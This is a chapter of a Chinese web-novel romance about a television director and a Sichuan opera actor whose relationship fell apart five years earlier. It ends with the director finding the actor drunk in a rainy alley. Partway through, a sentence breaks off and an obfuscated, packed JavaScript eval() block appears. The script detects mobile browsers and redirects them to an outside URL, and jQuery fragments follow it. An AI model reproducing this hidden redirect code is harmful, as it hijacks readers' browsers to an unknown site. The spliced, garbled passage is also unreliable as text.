拍摄任务已经全部结束了。


    所有镜头都剪辑完成，连最后那个卸妆画面也补上了。


    李霄川在镜头前一点点擦去油彩，露出最本真的模样，然后直视镜头问他：“你要，还是不要？”


    而陈声和……依然没能给出答案。


    他盯着窗外那片淡淡的蓝天，喉咙轻轻地动了动。


    他应该说点什么？


    可是……他能说什么呢？


    五年前他选择了离开，五年后他依然不敢保证自己不会再逃一次。


    “导演。”林瑶的声音从身后传来，带着犹豫，“成片已经送审了，技术部说没问题……李老师那边……”


    “他走了？”陈声和没回头。


    “嗯。”林瑶顿了顿，“他说……就这样吧。”


    陈声和的手指一颤，夹在指间的香烟被捏得微微变形。


    就这样吧。


    轻描淡写的三个字，像是给这五年的拉扯画上一个潦草的句号。


    脑海里浮现出李霄川卸完妆转身离开的背影，那件绣着金线的戏服袖子擦过门框，带起一阵微弱的风。


    连一句告别都没有。


    当年他转身离开，也是如此。


    所以现在，既给不了承诺，也该受着。


    ……


    陈声和那边拍摄结束，李霄川这头终于也可以休息几天了。


    这将近60天跟打仗似的。他是主演，每期都得在镜头前唱念做打，还得配合节目组那些花里胡哨的互动环节。


    白天拍戏晚上采访，有时候凌晨三点就得起来化妆。


    身体累倒还好，主要是心里憋得慌。


    导演是陈声和这个潮汕仔。每天在片场抬头不见低头见，那人还是跟以前一样，说话温声细语的，实则心比石头硬，比刺都狠。


    但最可气的是，这怂包整天把“敬本心”挂在嘴边，可真到了要表态的时候，连给自己点炷香的勇气都没有。


    还敬本心……敬个鸡儿！


    李霄川想到这儿，把毛巾狠狠摔进了洗衣篮。


    冰凉的自来水顺着下巴滴落，水滴洗刷着身体上的疲惫。镜面映出的身体几乎没有一块好皮肤，浑身都是伤疤。


    他抹了把脸，镜子里的人眼睛下面挂着两个黑眼圈，嘴角绷得死紧，跟那晚镜头前那个表情没什么区别。


    你要还是不要？


    这话他最后还是问出口了。


    陈声和那小子倒好，五年过去了一点进步没得，屁都不放一个。


    每天一副我错了，我还爱你，我舍不得你的表情，你真让选，他又开始跑！


    李霄川咧了咧嘴，结果比哭还难看，他早该知道的。


    那年机场送别，他把脸谱硬塞进陈声和包里，说要是后悔了就翻过来看看。结果他愣是没敢动一下。


    这回他豁出去又给一次机会，结果呢？陈声和还是那副怂样。


    算了吧……


    李霄川这样劝解着自己，五年了。


    他等了整整五年。


    五年前，他舍不得逼那个潮汕仔在家族与他之间做选择，只能眼睁睁看着爱人消失在机场安检口，手心里还攥着那张被汗水浸湿没敢送出去的潮汕机票。


    五年后，当陈声和重新出现在他面前，那双曾经盛满星光的眼睛里写满了欲言又止的为难……


    他还是舍不得逼他。


    或许他李霄川这辈子，就是命中注定要孤身一人。


    亲情早早离散，友情隔着一层戏台上的油彩，而爱情……他唯一掏心掏肺爱过的人，却被他亲手推回了那个充斥着宗祠香火和家族责任的世界。


    戏文里总唱“有情人终成眷属”，可他的戏，大概从一开场，就注定是一出独角戏。


    水龙头一拧，浴室顿时静得能听见自己的心跳声。


    这段时间为了配合拍摄，天天凌晨起来练功，腰伤犯了也得咬牙挺着。要不是从小练功练出一副硬骨头，早趴下了。


    李霄川瘫在床上，盯着天花板发呆。也好……陈声和这副避之不及的样子，倒像一盆冷水，把他心里那点残存的火苗彻底浇灭了。


    整整五年了。


    他累了，也更怕了。


    难道真要等到把对方也拖垮，才甘心吗？


    ……


    陈声和这头全部忙完已经是三天后了。此刻他坐在酒店落地窗前，手里捧着一杯咖啡，手机屏幕亮着，显示着李霄川的聊天记录，日期是一周前。


    【明天补拍卸妆镜头，记得带设备】


    干巴巴的一句话，连个标点符号都懒得打，跟工作群里发的通知没两样。


    他拇指在键盘上悬了半天，打了又删，最后只憋出一句：【成片送审了，谢谢你这段时间的配合】


    消息发出去，对话框上方立即显示“对方正在输入”，闪了几下又没了动静。


    陈声和把手机反扣在桌上，端起咖啡喝了一口，才发现早就凉透了。面上结的那层膜被他搅开，又慢慢聚拢。


    就像他俩现在，面上客客气气，里子早就凉透了。


    拍完这部片子，按理说他该回电视台开总结会，接着筹备下个非遗项目。可陈声和在成都多待了三天，行李箱都没打开。


    手机又响了，他看了眼来电显示，手指关节不自觉地绷紧。


    “阿和，祠堂的事，你大伯已经定好了。”母亲的声音从听筒里传来，“下个月要祭祖了，记得安排好时间啊。”


    窗外，成都的夜色被霓虹灯染成一片混沌的红。


    陈声和的视线落在远处模糊的灯光上，喉咙发紧：“妈，我这边还要回北京处理后期工作，走不开。”


    “走不开？”母亲的语气终于有了波动，“你阿嬷走的时候，你说在国外回不来。你爸住院，你说剧组赶进度。现在修正族谱，阿嬷第一个忌日，你还要躲？”


    陈声和长舒一口气，他觉得自己快成个神经病了。


    电话那头，母亲的声音低了下去：“陈声和，有些责任，你逃不掉的，你生在潮汕，根就在这里。”


    玻璃上映出他的脸，苍白、沉默，像一尊被供奉在神龛里的木偶。


    可最终还是说了一句：“……我知道了。”


    电话刚挂，手机就被他狠狠摔在了沙发上。


    林瑶推门进来的时候，陈声和正盯着地上的手机发呆。


    “导演，所有素材都归档了。”她把一叠文件放在桌上，犹豫了一下，又补充，“刚才……老张说，他们回来的时候，在兰桂坊看到李老师了。”


    陈声和的手指微微一顿。


    “他好像喝得有点多。”林瑶轻声说，“听说川剧院今晚吃杀青饭，但李老师……好像是一个人。”


    陈声和没吭声。


    林瑶是江门人，跟了他三年，早就学会在适当的时候闭嘴。


    她安静地退出房间，临走前，目光扫过桌上那杯已经冷掉的茶，陈声和从潮汕带来的凤凰单丛，他每天都会泡，但最近开始，只喝一口就放下。


    门关上不到五分钟，陈声和忽然抓起外套就往外冲。


    ……


    雨开始下了。


    成都的雨总是来得突然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005914|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，但又不是瓢泼大雨，就那种跟补水喷雾似的，细密的雨丝在霓虹灯下飘落，适合拍一切青春痛片。


    陈声和出来后没带伞，雨丝打湿了他的长发，顺着脖颈滑进衣领，冰凉刺骨。他抹了把脸上的雨水。


    下了车他直奔酒吧后巷，不用问也知道李霄川在哪个酒吧，以前他们总爱来这里。


    这个时候的巷子里挤满了夜宵的人。有喝嗨了的小年轻在雨中蹦跳，有情侣缩在屋檐下接吻，还有几个醉汉扶着墙吐。


    各种食物的油烟掺着雨水味，直往人鼻子里钻。


    陈声和站在巷口，目光扫过每一张陌生的脸，直到……


    最里面的角落，李霄川一个人坐在台阶上，手里捏着一只空酒瓶。


    他今天穿着简单的黑色卫衣，袖子卷到手肘，露出手臂上那道练功留下的旧疤。头发有些乱，额前的碎发被雨水打湿，贴在脸上。


    陈声和站在原地，想喊一声，却发现喉咙发紧。


    他们居然分开五年了吗？


    错过了彼此最重要的时刻。


    这个认知让陈声和眼睛瞬间就模糊了，他总是在想：为什么世上偏有这么多爱而不得？


    从前他觉得戏文里的痴男怨女，尽是无病呻吟。如今自己成了戏中人，才尝出那滋味，最磨人的离散，从来都是悄无声息。


    那感觉就像被扔进一片绝望的海水中，缓慢地下沉。求不了速死，也抓不住浮木，就这么半死不活地悬着，任凭苦涩浸透每一寸感知。


    直到最后，情绪被蒸发殆尽，成了一具被晾干的空洞躯壳，直挺挺地杵在人生的荒原上，寸草不生。


    潮水将礁石凌迟成沙，川流被荒原绞杀。


    痛啊……


    真的太痛了。


    原来真正的痛，是后知后觉的凌迟，在每一个想起“我们本可以”的瞬间，卷土重来。


    李霄川似乎察觉到了视线，抬头目光直直地撞过来。陈声和这才发现他眼睛通红，下巴上冒出了青茬。


    四目相对的瞬间，陈声和看到他眼底的醉意，还有一些更深的东西，像是疲惫，又像是压抑已久……尖锐的情绪。


    “哟。”李霄川拖着长音，“陈导也来喝酒？”


    他的声音沙哑，带着浓重的方言口音，是醉了才会有的语调。


    陈声和没说话。雨水顺着他的刘海往下滴，在衬衣领口晕开一片深色。


    李霄川盯着他看了一会儿，又笑了起来：“还是说……”他晃了晃空酒瓶，“陈导是来取材的？拍个《过气川剧演员夜生活实录》？”


    陈声和的手指抠着裤缝，他现在应该转身就走。


    他应该像这五年里的每一次一样，避开、沉默、装作从未认识过这个人。


    可今晚不一样。


    今晚母亲的电话就像小时候挨揍的藤条，狠狠剜进他骨缝里那些从未愈合的旧伤。


    他不想再当那个克制的、隐忍的、永远被家族钉在祠堂牌位上的陈家独子。


    陈声和小声吸了吸鼻子，迈步走了过去，皮鞋踩进积水里，冰凉的雨水立刻浸透袜子黏在脚背上。


    “你喝多了。”


    李霄川抬头看他。巷子对面酒吧的霓虹灯管在他眼睛里跳动，亮得吓人：“所以呢？”


    “所以……”陈声和伸手，一把拽住他的手腕，“跟我回去。”


    李霄川的皮肤滚烫，腕骨硌在掌心，像握着一块烧红的炭。


    雨水顺着两人的手臂交叠处滑下，分不清是谁更湿一点。李霄川睫毛上挂着水珠，在霓虹灯下闪着光，可眼神却冷得像冰。